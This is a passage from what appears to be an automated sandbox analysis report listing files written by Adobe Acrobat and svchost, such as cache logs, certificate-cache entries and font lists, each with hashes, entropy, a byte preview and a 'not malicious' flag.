SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	CA0E86A074063C5DFB591A07FFB7056E
SHA1:	E869BDA94026F68A4A1247F5FA1726D63FD39301
SHA-256:	597A36C45958E74A34BD880C3F4CF8742765DCEEE9E0C9850A5C69E764BF4CE5
SHA-512:	1FB6C69B13CFEB959B7A4C21967E7A3573807572282C47C3BFFDA9FDA33431D7FC7B53E9E2B0A2731529BFA25D1543E9FC1D58D21DDF8CA69827BED97F73268A
Malicious:	false
Preview:	!..U... .......7.......X\...;...{......................0.e......!...{?..9...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................2J9.9...}#.....................9...}#..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07985720377107716
Encrypted:	false
SSDEEP:	3:qpfmtyYeLZkYuNaAPaU1lW1olluxmO+l/SNxOf:qxmtyzLZluNDPaU+egmOH
MD5:	511E3F13FD63345947834F4F5509151E
SHA1:	8964D5E3A94F9E4AE093D1CB514CF36A40817321
SHA-256:	CE2E47633F167358D65AF885DB8376E944762FBCF8835E74185EC88A4B03DBB8
SHA-512:	516F909AEF8FC9F85F4ED892CB58F22768C7C1BCA3B810303C4281FD650ABA30582099FBC3810C646BA3727B35E28360B991502990CC462C77288B8ABC31075A
Malicious:	false
Preview:	.2.......................................;...{...9...}#..!...{?..........!...{?..!...{?..g...!...{?.....................9...}#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.2051110743426685
Encrypted:	false
SSDEEP:	6:iO4BGOq2PN72nKuAl9OmbnIFUtSBu2XZmwsBu2FkwON72nKuAl9OmbjLJ:76zvVaHAahFUtgu2X/uu2F5OaHAaSJ
MD5:	DAED2849CBAFE08384EA496426744C45
SHA1:	0663DD2902B0BD45ACAAF125D3429FC1AAC41ADA
SHA-256:	2861C181DC011DBBF912620E58C524093FEACF9649B69449E7BF7E1124703FCC
SHA-512:	93E72EAA3163B045D42279F8E923FB6BE9570A3F8AB20F97C7F96C636914F36BEA76622347C64F5618FB1ADC67DACC931F72F7B19E662EB80205D6712C2257D7
Malicious:	false
Preview:	2025/01/10-16:57:23.908 1640 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:57:23.910 1640 Recovering log #3.2025/01/10-16:57:23.910 1640 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.2051110743426685
Encrypted:	false
SSDEEP:	6:iO4BGOq2PN72nKuAl9OmbnIFUtSBu2XZmwsBu2FkwON72nKuAl9OmbjLJ:76zvVaHAahFUtgu2X/uu2F5OaHAaSJ
MD5:	DAED2849CBAFE08384EA496426744C45
SHA1:	0663DD2902B0BD45ACAAF125D3429FC1AAC41ADA
SHA-256:	2861C181DC011DBBF912620E58C524093FEACF9649B69449E7BF7E1124703FCC
SHA-512:	93E72EAA3163B045D42279F8E923FB6BE9570A3F8AB20F97C7F96C636914F36BEA76622347C64F5618FB1ADC67DACC931F72F7B19E662EB80205D6712C2257D7
Malicious:	false
Preview:	2025/01/10-16:57:23.908 1640 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-16:57:23.910 1640 Recovering log #3.2025/01/10-16:57:23.910 1640 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.137336187318243
Encrypted:	false
SSDEEP:	6:iO4B40i+q2PN72nKuAl9Ombzo2jMGIFUtSB4wQXWZmwsB4FVkwON72nKuAl9OmbX:76pi+vVaHAa8uFUtg/QXW/u6V5OaHAaU
MD5:	98B054829C249D68DF5B56E44841D20E
SHA1:	7FFFEDE11D5C4B9C8713CBD006289CE6FACD002B
SHA-256:	231A9DE8B94D09DE677B443C17480209E0DAD51C4847611AF1D9E7550D9F5C69
SHA-512:	5E854D64636B26DAA01360EE9C4A1981437884C80E93B79B730CA9F7151B9EB21CE8C3416716E471C5F3606F95D2A7FD4F9F94F5239A53D4F340B80867EACD7F
Malicious:	false
Preview:	2025/01/10-16:57:24.054 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:57:24.055 1c5c Recovering log #3.2025/01/10-16:57:24.056 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.137336187318243
Encrypted:	false
SSDEEP:	6:iO4B40i+q2PN72nKuAl9Ombzo2jMGIFUtSB4wQXWZmwsB4FVkwON72nKuAl9OmbX:76pi+vVaHAa8uFUtg/QXW/u6V5OaHAaU
MD5:	98B054829C249D68DF5B56E44841D20E
SHA1:	7FFFEDE11D5C4B9C8713CBD006289CE6FACD002B
SHA-256:	231A9DE8B94D09DE677B443C17480209E0DAD51C4847611AF1D9E7550D9F5C69
SHA-512:	5E854D64636B26DAA01360EE9C4A1981437884C80E93B79B730CA9F7151B9EB21CE8C3416716E471C5F3606F95D2A7FD4F9F94F5239A53D4F340B80867EACD7F
Malicious:	false
Preview:	2025/01/10-16:57:24.054 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-16:57:24.055 1c5c Recovering log #3.2025/01/10-16:57:24.056 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8efec2bc-76b5-4b1f-adf1-9a82412821e4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.977624390459314
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqC6tsBdOg2HrZcaq3QYiubcP7E4T3y:Y2sRds5dMHrg3QYhbA7nby
MD5:	B1A8E4AFFF8B5BD270BD512CE4F58478
SHA1:	F96E43782B1D025D432C41246A1A4597CEF61AE7
SHA-256:	2186169B9F75F0A825C1FDF872A41AEE4507FBFDB8A921C8C9702EDB4D0ABD10
SHA-512:	4DEDA94A43142997B75FF616BA1D79F31FF0233DE84733618896FD7A91CCACD0BE88CB6CDF8C96F3803B23C36F666BA8E4DBB38D0ABAD439916884A9323E2E74
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106255807775","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129955},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.977624390459314
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqC6tsBdOg2HrZcaq3QYiubcP7E4T3y:Y2sRds5dMHrg3QYhbA7nby
MD5:	B1A8E4AFFF8B5BD270BD512CE4F58478
SHA1:	F96E43782B1D025D432C41246A1A4597CEF61AE7
SHA-256:	2186169B9F75F0A825C1FDF872A41AEE4507FBFDB8A921C8C9702EDB4D0ABD10
SHA-512:	4DEDA94A43142997B75FF616BA1D79F31FF0233DE84733618896FD7A91CCACD0BE88CB6CDF8C96F3803B23C36F666BA8E4DBB38D0ABAD439916884A9323E2E74
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106255807775","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129955},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.248753202909789
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE790m7c:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhW
MD5:	C6E8522F9D863DE6433F1C03F8FA142E
SHA1:	9A25BE794BF6785C1B6165B0BCCE10D6F3ED39AF
SHA-256:	60227C0782EAA3F2B0E6B601B70AB514ABE0F586EA77395CFC0E215A34451160
SHA-512:	E8526A033F535EC816D2C43EC5D7FD1999F943DB47BB596049414BE1998E05CBDD528B340321EAE4169A49E13F438B21DE89F71F49681EB287B477189627E58B
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1990028097836785
Encrypted:	false
SSDEEP:	6:iO4B2dZ3+q2PN72nKuAl9OmbzNMxIFUtSB2dZAWZmwsB2kVkwON72nKuAl9OmbzE:762r3+vVaHAa8jFUtg2rAW/u2kV5OaHP
MD5:	AE02FB906B727B5302CF7B392C904005
SHA1:	6571E15053C664A6AB82C0CF307624A405E7FC11
SHA-256:	B7FEDAE7D183BA2C76501B1F2E126B07F35CDBB98578E0D8ADFAFF15152FBB17
SHA-512:	47E8926323E3387950F3A62B9C05A580B6063C57F0C9A730CB89C3FF008BE4FB0DAE6F06049574732BF6C3C4297758DC32D882197E38BA5E741458844865B951
Malicious:	false
Preview:	2025/01/10-16:57:24.478 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:57:24.478 1c5c Recovering log #3.2025/01/10-16:57:24.479 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1990028097836785
Encrypted:	false
SSDEEP:	6:iO4B2dZ3+q2PN72nKuAl9OmbzNMxIFUtSB2dZAWZmwsB2kVkwON72nKuAl9OmbzE:762r3+vVaHAa8jFUtg2rAW/u2kV5OaHP
MD5:	AE02FB906B727B5302CF7B392C904005
SHA1:	6571E15053C664A6AB82C0CF307624A405E7FC11
SHA-256:	B7FEDAE7D183BA2C76501B1F2E126B07F35CDBB98578E0D8ADFAFF15152FBB17
SHA-512:	47E8926323E3387950F3A62B9C05A580B6063C57F0C9A730CB89C3FF008BE4FB0DAE6F06049574732BF6C3C4297758DC32D882197E38BA5E741458844865B951
Malicious:	false
Preview:	2025/01/10-16:57:24.478 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:57:24.478 1c5c Recovering log #3.2025/01/10-16:57:24.479 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444822099997756
Encrypted:	false
SSDEEP:	384:SeLci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rOs3OazzU89UTTgUL
MD5:	F8AC7F1CDE506FC1585A0A6E7909234F
SHA1:	CF1466206A030BC654A6A327F0B62540EE1389D9
SHA-256:	7553FD89B46EAF216697827B278ADF933CD3AE917390BFA6094853276BCB2A20
SHA-512:	12A51207CDA5F669E99BF52913203CF4355E6938B5B59824B4DF4D3564BD7EEF3078536C736E25448B0C7228A5E62D9F58C527A9C352DDF823C013AE4236B4E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.212095520030839
Encrypted:	false
SSDEEP:	24:7+tAgnuwKdqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MC:7MjnCdqPmFTIF3XmHjBoGGR+jMz+Lhz
MD5:	6ACC8FBBB830BB3D04F27213BD9C0AAD
SHA1:	8D72BA7B2E859F8DA105A64AAEBD2023F2516D35
SHA-256:	41C2C96B9C02344C63FC04AB43B87482B27EF77167D8D602CAA30CEC9823F033
SHA-512:	807566A4D4F2EA6E0BC0FCEC57F1F2CC84FCA1383DA58A0403B9AB72AAFEE60E8A7FBA5D73171948E1346B35A10440CE8D3AE573D0EC23A5F12FE30A977BD7EC
Malicious:	false
Preview:	.... .c.....P...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklR/PDtfllXlE/HT8k8QNNX8RolJuRdxLlGB9lQRYwpDdt:kKuDeT8WNMa8RdWBwRd
MD5:	5D5B4B84B777539956C2F6FAE4688ABE
SHA1:	0ACBBA549FB9797CEC51AABE777EDA1E562CEA0C
SHA-256:	71789B8CC6CE6686F071D015167B1F9A6ACECA69D545C5A2849D7279904C46C7
SHA-512:	59FA4F00D563CD047DC4DFF628497432D313D546058D1EBBBFD964DD6C140D645D2DE492B6D0AC32A760D43D255AC305EF47FC4B805BCBA3214811437D3A47D1
Malicious:	false
Preview:	p...... ........"..c..(....................................................... ..........W....Y...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.226192332257671
Encrypted:	false
SSDEEP:	6:kKbPpsL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:zPpsiDImsLNkPlE99SNxAhUe/3
MD5:	DFAF57230641A7CCEA432825DE4A04D7
SHA1:	E9A51D4BEDF452FE8912760DF1665267F01D2938
SHA-256:	F7817D757D4337BE76E5E466AD9252E3CF3DA44CAA9AD0CA8C15B5F49A8FF85A
SHA-512:	3D061A4797D9B47AF3F385463C41C6956B5E60B5F2B90AA47DC819647089D61C604798468751A3D656DFBA94A8391CF6951470BD19D8BB6DC96951E0C96E2317
Malicious:	false
Preview:	p...... .......... ..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
